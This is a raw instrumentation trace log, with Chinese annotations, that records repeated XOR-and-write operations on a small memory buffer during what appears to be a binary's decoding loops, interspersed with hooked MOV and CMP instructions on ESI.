[XOR @0x1000a93] MEM[0x2003f22] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f22 ← 0x32
[XOR @0x1000a93] MEM[0x2003f23] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f23 ← 0x33
[XOR @0x1000a93] MEM[0x2003f24] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f24 ← 0x31
[XOR @0x1000a93] MEM[0x2003f25] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1000a93] MEM[0x2003f26] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f26 ← 0x00
[XOR @0x1000a93] MEM[0x2003f27] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f27 ← 0x31
[XOR @0x1000a93] MEM[0x2003f28] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x32
[XOR @0x1000a93] MEM[0x2003f29] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x32
[XOR @0x1000a93] MEM[0x2003f2a] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f2a ← 0x33
[XOR @0x1000a93] MEM[0x2003f2b] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f2b ← 0x31
[XOR @0x1000a93] MEM[0x2003f2c] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f2c ← 0x32
[XOR @0x1000a93] MEM[0x2003f2d] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f2d ← 0x33
[XOR @0x1000a93] MEM[0x2003f2e] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f2e ← 0x00
[XOR @0x1000a93] MEM[0x2003f2f] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f2f ← 0x01
[XOR @0x1000a93] MEM[0x2003f30] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f30 ← 0x02
[XOR @0x1000a93] MEM[0x2003f31] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f31 ← 0x33
[XOR @0x1000a93] MEM[0x2003f32] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x31
[XOR @0x1000a93] MEM[0x2003f33] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f33 ← 0x32
[XOR @0x1000a93] MEM[0x2003f34] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f34 ← 0x33
[XOR @0x1000a93] MEM[0x2003f35] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x31
[XOR @0x1000a93] MEM[0x2003f36] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f36 ← 0x03
[XOR @0x1000a93] MEM[0x2003f37] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f37 ← 0x32
[XOR @0x1000a93] MEM[0x2003f38] 0x32 ^ AL(0x31) → 0x03
寫入後 MEM = 0x32
[WRITE] @0x2003f38 ← 0x03
[STATE] ESI ← 0x37
[HOOK MOV] @0x01000eae: mov esi, 0x24
[XOR @0x1000ec2] MEM[0x2003f20] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x01000ec8: cmp esi, 0x49
[XOR @0x1000ec2] MEM[0x2003f21] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f21 ← 0x01
[XOR @0x1000ec2] MEM[0x2003f22] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f22 ← 0x02
[XOR @0x1000ec2] MEM[0x2003f23] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f23 ← 0x03
[XOR @0x1000ec2] MEM[0x2003f24] 0x31 ^ AL(0x30) → 0x01
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x01
[XOR @0x1000ec2] MEM[0x2003f25] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x03
[XOR @0x1000ec2] MEM[0x2003f26] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x00
[XOR @0x1000ec2] MEM[0x2003f27] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x31
[XOR @0x1000ec2] MEM[0x2003f28] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x32
[XOR @0x1000ec2] MEM[0x2003f29] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x32
[XOR @0x1000ec2] MEM[0x2003f2a] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x33
[XOR @0x1000ec2] MEM[0x2003f2b] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f2b ← 0x32
[XOR @0x1000ec2] MEM[0x2003f2c] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x33
[XOR @0x1000ec2] MEM[0x2003f2d] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f2d ← 0x31
[XOR @0x1000ec2] MEM[0x2003f2e] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f2e ← 0x03
[XOR @0x1000ec2] MEM[0x2003f2f] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f2f ← 0x00
[XOR @0x1000ec2] MEM[0x2003f30] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f30 ← 0x01
[XOR @0x1000ec2] MEM[0x2003f31] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f31 ← 0x33
[XOR @0x1000ec2] MEM[0x2003f32] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f32 ← 0x00
[XOR @0x1000ec2] MEM[0x2003f33] 0x32 ^ AL(0x32) → 0x00
寫入後 MEM = 0x32
[WRITE] @0x2003f33 ← 0x00
[XOR @0x1000ec2] MEM[0x2003f34] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f34 ← 0x01
[XOR @0x1000ec2] MEM[0x2003f35] 0x31 ^ AL(0x33) → 0x02
寫入後 MEM = 0x31
[WRITE] @0x2003f35 ← 0x02
[XOR @0x1000ec2] MEM[0x2003f36] 0x03 ^ AL(0x32) → 0x31
寫入後 MEM = 0x03
[WRITE] @0x2003f36 ← 0x31
[XOR @0x1000ec2] MEM[0x2003f37] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f37 ← 0x01
[XOR @0x1000ec2] MEM[0x2003f38] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f38 ← 0x32
[XOR @0x1000ec2] MEM[0x2003f39] 0x33 ^ AL(0x03) → 0x30
寫入後 MEM = 0x33
[WRITE] @0x2003f39 ← 0x30
[XOR @0x1000ec2] MEM[0x2003f3a] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f3a ← 0x31
[XOR @0x1000ec2] MEM[0x2003f3b] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f3b ← 0x33
[XOR @0x1000ec2] MEM[0x2003f3c] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f3c ← 0x00
[XOR @0x1000ec2] MEM[0x2003f3d] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f3d ← 0x00
[XOR @0x1000ec2] MEM[0x2003f3e] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f3e ← 0x01
[XOR @0x1000ec2] MEM[0x2003f3f] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f3f ← 0x03
[XOR @0x1000ec2] MEM[0x2003f40] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f40 ← 0x01
[XOR @0x1000ec2] MEM[0x2003f41] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f41 ← 0x01
[XOR @0x1000ec2] MEM[0x2003f42] 0x30 ^ AL(0x01) → 0x31
寫入後 MEM = 0x30
[WRITE] @0x2003f42 ← 0x31
[XOR @0x1000ec2] MEM[0x2003f43] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f43 ← 0x02
[XOR @0x1000ec2] MEM[0x2003f44] 0x30 ^ AL(0x30) → 0x00
寫入後 MEM = 0x30
[WRITE] @0x2003f44 ← 0x00
[STATE] ESI ← 0x1F
[HOOK MOV] @0x010007c4: mov esi, 0x1d
[XOR @0x10007d8] MEM[0x2003f20] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x03
[HOOK CMP] @0x010007de: cmp esi, 0x3b
[XOR @0x10007d8] MEM[0x2003f21] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f21 ← 0x00
[XOR @0x10007d8] MEM[0x2003f22] 0x02 ^ AL(0x03) → 0x01
寫入後 MEM = 0x02
[WRITE] @0x2003f22 ← 0x01
[XOR @0x10007d8] MEM[0x2003f23] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10007d8] MEM[0x2003f24] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x00
[XOR @0x10007d8] MEM[0x2003f25] 0x03 ^ AL(0x31) → 0x32
寫入後 MEM = 0x03
[WRITE] @0x2003f25 ← 0x32
[XOR @0x10007d8] MEM[0x2003f26] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f26 ← 0x02
[XOR @0x10007d8] MEM[0x2003f27] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x31
[XOR @0x10007d8] MEM[0x2003f28] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f28 ← 0x02
[XOR @0x10007d8] MEM[0x2003f29] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f29 ← 0x02
[XOR @0x10007d8] MEM[0x2003f2a] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x03
[XOR @0x10007d8] MEM[0x2003f2b] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f2b ← 0x02
[XOR @0x10007d8] MEM[0x2003f2c] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x33
[XOR @0x10007d8] MEM[0x2003f2d] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x31
[XOR @0x10007d8] MEM[0x2003f2e] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x03
[XOR @0x10007d8] MEM[0x2003f2f] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f2f ← 0x00
[XOR @0x10007d8] MEM[0x2003f30] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x01
[XOR @0x10007d8] MEM[0x2003f31] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f31 ← 0x33
[XOR @0x10007d8] MEM[0x2003f32] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f32 ← 0x03
[XOR @0x10007d8] MEM[0x2003f33] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f33 ← 0x00
[XOR @0x10007d8] MEM[0x2003f34] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f34 ← 0x00
[XOR @0x10007d8] MEM[0x2003f35] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f35 ← 0x00
[XOR @0x10007d8] MEM[0x2003f36] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f36 ← 0x31
[XOR @0x10007d8] MEM[0x2003f37] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f37 ← 0x33
[XOR @0x10007d8] MEM[0x2003f38] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f38 ← 0x30
[XOR @0x10007d8] MEM[0x2003f39] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f39 ← 0x01
[XOR @0x10007d8] MEM[0x2003f3a] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f3a ← 0x33
[XOR @0x10007d8] MEM[0x2003f3b] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f3b ← 0x31
[XOR @0x10007d8] MEM[0x2003f3c] 0x00 ^ AL(0x03) → 0x03
寫入後 MEM = 0x00
[WRITE] @0x2003f3c ← 0x03
[XOR @0x10007d8] MEM[0x2003f3d] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f3d ← 0x02
[STATE] ESI ← 0x31
[HOOK MOV] @0x01000589: mov esi, 0x12
[HOOK MOV] @0x0100058e: mov esi, 0xae4c415d
[XOR @0x10005b0] MEM[0x2003f20] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f20 ← 0x00
[HOOK CMP] @0x010005b6: cmp esi, 0x25
[XOR @0x10005b0] MEM[0x2003f21] 0x00 ^ AL(0x00) → 0x00
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x00
[XOR @0x10005b0] MEM[0x2003f22] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x01
[XOR @0x10005b0] MEM[0x2003f23] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10005b0] MEM[0x2003f24] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x31
[XOR @0x10005b0] MEM[0x2003f25] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f25 ← 0x01
[XOR @0x10005b0] MEM[0x2003f26] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f26 ← 0x32
[XOR @0x10005b0] MEM[0x2003f27] 0x31 ^ AL(0x01) → 0x30
寫入後 MEM = 0x31
[WRITE] @0x2003f27 ← 0x30
[XOR @0x10005b0] MEM[0x2003f28] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f28 ← 0x31
[XOR @0x10005b0] MEM[0x2003f29] 0x02 ^ AL(0x31) → 0x33
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x33
[XOR @0x10005b0] MEM[0x2003f2a] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f2a ← 0x00
[XOR @0x10005b0] MEM[0x2003f2b] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x00
[XOR @0x10005b0] MEM[0x2003f2c] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x32
[XOR @0x10005b0] MEM[0x2003f2d] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f2d ← 0x32
[XOR @0x10005b0] MEM[0x2003f2e] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f2e ← 0x02
[XOR @0x10005b0] MEM[0x2003f2f] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f2f ← 0x01
[XOR @0x10005b0] MEM[0x2003f30] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f30 ← 0x30
[XOR @0x10005b0] MEM[0x2003f31] 0x33 ^ AL(0x02) → 0x31
寫入後 MEM = 0x33
[WRITE] @0x2003f31 ← 0x31
[XOR @0x10005b0] MEM[0x2003f32] 0x03 ^ AL(0x00) → 0x03
寫入後 MEM = 0x03
[WRITE] @0x2003f32 ← 0x03
[STATE] ESI ← 0x13
[HOOK MOV] @0x010009f2: mov esi, 0xd
[XOR @0x1000a06] MEM[0x2003f20] 0x00 ^ AL(0x32) → 0x32
寫入後 MEM = 0x00
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x01000a0c: cmp esi, 0x1b
[XOR @0x1000a06] MEM[0x2003f21] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f21 ← 0x02
[XOR @0x1000a06] MEM[0x2003f22] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x00
[XOR @0x1000a06] MEM[0x2003f23] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x32
[XOR @0x1000a06] MEM[0x2003f24] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f24 ← 0x00
[XOR @0x1000a06] MEM[0x2003f25] 0x01 ^ AL(0x03) → 0x02
寫入後 MEM = 0x01
[WRITE] @0x2003f25 ← 0x02
[XOR @0x1000a06] MEM[0x2003f26] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x32
[XOR @0x1000a06] MEM[0x2003f27] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x30
[XOR @0x1000a06] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x1000a06] MEM[0x2003f29] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f29 ← 0x02
[XOR @0x1000a06] MEM[0x2003f2a] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f2a ← 0x33
[XOR @0x1000a06] MEM[0x2003f2b] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f2b ← 0x30
[XOR @0x1000a06] MEM[0x2003f2c] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f2c ← 0x33
[XOR @0x1000a06] MEM[0x2003f2d] 0x32 ^ AL(0x33) → 0x01
寫入後 MEM = 0x32
[WRITE] @0x2003f2d ← 0x01
[STATE] ESI ← 0x56
[HOOK MOV] @0x010008a9: mov esi, 0x24
[XOR @0x10008bd] MEM[0x2003f20] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f20 ← 0x32
[HOOK CMP] @0x010008c3: cmp esi, 0x49
[XOR @0x10008bd] MEM[0x2003f21] 0x02 ^ AL(0x30) → 0x32
寫入後 MEM = 0x02
[WRITE] @0x2003f21 ← 0x32
[XOR @0x10008bd] MEM[0x2003f22] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f22 ← 0x30
[XOR @0x10008bd] MEM[0x2003f23] 0x32 ^ AL(0x30) → 0x02
寫入後 MEM = 0x32
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10008bd] MEM[0x2003f24] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f24 ← 0x30
[XOR @0x10008bd] MEM[0x2003f25] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x02
[XOR @0x10008bd] MEM[0x2003f26] 0x32 ^ AL(0x00) → 0x32
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x32
[XOR @0x10008bd] MEM[0x2003f27] 0x30 ^ AL(0x00) → 0x30
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x30
[XOR @0x10008bd] MEM[0x2003f28] 0x31 ^ AL(0x00) → 0x31
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x31
[XOR @0x10008bd] MEM[0x2003f29] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x02
[XOR @0x10008bd] MEM[0x2003f2a] 0x33 ^ AL(0x00) → 0x33
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x33
[XOR @0x10008bd] MEM[0x2003f2b] 0x30 ^ AL(0x32) → 0x02
寫入後 MEM = 0x30
[WRITE] @0x2003f2b ← 0x02
[XOR @0x10008bd] MEM[0x2003f2c] 0x33 ^ AL(0x32) → 0x01
寫入後 MEM = 0x33
[WRITE] @0x2003f2c ← 0x01
[XOR @0x10008bd] MEM[0x2003f2d] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f2d ← 0x31
[XOR @0x10008bd] MEM[0x2003f2e] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f2e ← 0x00
[XOR @0x10008bd] MEM[0x2003f2f] 0x01 ^ AL(0x30) → 0x31
寫入後 MEM = 0x01
[WRITE] @0x2003f2f ← 0x31
[XOR @0x10008bd] MEM[0x2003f30] 0x30 ^ AL(0x02) → 0x32
寫入後 MEM = 0x30
[WRITE] @0x2003f30 ← 0x32
[XOR @0x10008bd] MEM[0x2003f31] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f31 ← 0x03
[XOR @0x10008bd] MEM[0x2003f32] 0x03 ^ AL(0x30) → 0x33
寫入後 MEM = 0x03
[WRITE] @0x2003f32 ← 0x33
[XOR @0x10008bd] MEM[0x2003f33] 0x00 ^ AL(0x31) → 0x31
寫入後 MEM = 0x00
[WRITE] @0x2003f33 ← 0x31
[XOR @0x10008bd] MEM[0x2003f34] 0x00 ^ AL(0x02) → 0x02
寫入後 MEM = 0x00
[WRITE] @0x2003f34 ← 0x02
[XOR @0x10008bd] MEM[0x2003f35] 0x00 ^ AL(0x33) → 0x33
寫入後 MEM = 0x00
[WRITE] @0x2003f35 ← 0x33
[XOR @0x10008bd] MEM[0x2003f36] 0x31 ^ AL(0x02) → 0x33
寫入後 MEM = 0x31
[WRITE] @0x2003f36 ← 0x33
[XOR @0x10008bd] MEM[0x2003f37] 0x33 ^ AL(0x01) → 0x32
寫入後 MEM = 0x33
[WRITE] @0x2003f37 ← 0x32
[XOR @0x10008bd] MEM[0x2003f38] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f38 ← 0x01
[XOR @0x10008bd] MEM[0x2003f39] 0x01 ^ AL(0x00) → 0x01
寫入後 MEM = 0x01
[WRITE] @0x2003f39 ← 0x01
[XOR @0x10008bd] MEM[0x2003f3a] 0x33 ^ AL(0x31) → 0x02
寫入後 MEM = 0x33
[WRITE] @0x2003f3a ← 0x02
[XOR @0x10008bd] MEM[0x2003f3b] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f3b ← 0x03
[XOR @0x10008bd] MEM[0x2003f3c] 0x03 ^ AL(0x03) → 0x00
寫入後 MEM = 0x03
[WRITE] @0x2003f3c ← 0x00
[XOR @0x10008bd] MEM[0x2003f3d] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f3d ← 0x31
[XOR @0x10008bd] MEM[0x2003f3e] 0x01 ^ AL(0x31) → 0x30
寫入後 MEM = 0x01
[WRITE] @0x2003f3e ← 0x30
[XOR @0x10008bd] MEM[0x2003f3f] 0x03 ^ AL(0x02) → 0x01
寫入後 MEM = 0x03
[WRITE] @0x2003f3f ← 0x01
[XOR @0x10008bd] MEM[0x2003f40] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f40 ← 0x32
[XOR @0x10008bd] MEM[0x2003f41] 0x01 ^ AL(0x33) → 0x32
寫入後 MEM = 0x01
[WRITE] @0x2003f41 ← 0x32
[XOR @0x10008bd] MEM[0x2003f42] 0x31 ^ AL(0x32) → 0x03
寫入後 MEM = 0x31
[WRITE] @0x2003f42 ← 0x03
[XOR @0x10008bd] MEM[0x2003f43] 0x02 ^ AL(0x01) → 0x03
寫入後 MEM = 0x02
[WRITE] @0x2003f43 ← 0x03
[XOR @0x10008bd] MEM[0x2003f44] 0x00 ^ AL(0x01) → 0x01
寫入後 MEM = 0x00
[WRITE] @0x2003f44 ← 0x01
[STATE] ESI ← 0x54
[HOOK MOV] @0x010010b0: mov esi, 0xb
[XOR @0x10010c4] MEM[0x2003f20] 0x32 ^ AL(0x02) → 0x30
寫入後 MEM = 0x32
[WRITE] @0x2003f20 ← 0x30
[HOOK CMP] @0x010010ca: cmp esi, 0x17
[XOR @0x10010c4] MEM[0x2003f21] 0x32 ^ AL(0x01) → 0x33
寫入後 MEM = 0x32
[WRITE] @0x2003f21 ← 0x33
[XOR @0x10010c4] MEM[0x2003f22] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f22 ← 0x01
[XOR @0x10010c4] MEM[0x2003f23] 0x02 ^ AL(0x00) → 0x02
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x02
[XOR @0x10010c4] MEM[0x2003f24] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f24 ← 0x01
[XOR @0x10010c4] MEM[0x2003f25] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f25 ← 0x30
[XOR @0x10010c4] MEM[0x2003f26] 0x32 ^ AL(0x03) → 0x31
寫入後 MEM = 0x32
[WRITE] @0x2003f26 ← 0x31
[XOR @0x10010c4] MEM[0x2003f27] 0x30 ^ AL(0x33) → 0x03
寫入後 MEM = 0x30
[WRITE] @0x2003f27 ← 0x03
[XOR @0x10010c4] MEM[0x2003f28] 0x31 ^ AL(0x31) → 0x00
寫入後 MEM = 0x31
[WRITE] @0x2003f28 ← 0x00
[XOR @0x10010c4] MEM[0x2003f29] 0x02 ^ AL(0x02) → 0x00
寫入後 MEM = 0x02
[WRITE] @0x2003f29 ← 0x00
[XOR @0x10010c4] MEM[0x2003f2a] 0x33 ^ AL(0x33) → 0x00
寫入後 MEM = 0x33
[WRITE] @0x2003f2a ← 0x00
[XOR @0x10010c4] MEM[0x2003f2b] 0x02 ^ AL(0x33) → 0x31
寫入後 MEM = 0x02
[WRITE] @0x2003f2b ← 0x31
[HOOK MOV] @0x010010d1: mov esi, 0x2e
[HOOK MOV] @0x01000654: mov esi, 0x1d
[XOR @0x1000668] MEM[0x2003f20] 0x30 ^ AL(0x31) → 0x01
寫入後 MEM = 0x30
[WRITE] @0x2003f20 ← 0x01
[HOOK CMP] @0x0100066e: cmp esi, 0x3b
[XOR @0x1000668] MEM[0x2003f21] 0x33 ^ AL(0x30) → 0x03
寫入後 MEM = 0x33
[WRITE] @0x2003f21 ← 0x03
[XOR @0x1000668] MEM[0x2003f22] 0x01 ^ AL(0x01) → 0x00
寫入後 MEM = 0x01
[WRITE] @0x2003f22 ← 0x00
[XOR @0x1000668] MEM[0x2003f23] 0x02 ^ AL(0x32) → 0x30
寫入後 MEM = 0x02
[WRITE] @0x2003f23 ← 0x30
[XOR @0x1000668] MEM[0x2003f24] 0x01 ^ AL(0x32) → 0x33
寫入後 MEM = 0x01
[WRITE] @0x2003f24 ← 0x33
[XOR @0x1000668] MEM[0x2003f25] 0x30 ^ AL(0x03) → 0x33
寫入後 MEM = 0x30
[WRITE] @0x2003f25 ← 0x33
[XOR @0x1000668] MEM[0x2003f26] 0x31 ^ AL(0x03) → 0x32
寫入後 MEM = 0x31
[WRITE] @0x2003f26 ← 0x32
[XOR @0x1000668] MEM[0x2003f27] 0x03 ^ AL(0x01) → 0x02
寫入後 MEM = 0x03
[WRITE] @0x2003f27 ← 0x02
[XOR @0x1000668] MEM[0x2003f28] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f28 ← 0x30
[XOR @0x1000668] MEM[0x2003f29] 0x00 ^ AL(0x30) → 0x30
寫入後 MEM = 0x00
[WRITE] @0x2003f29 ← 0x30
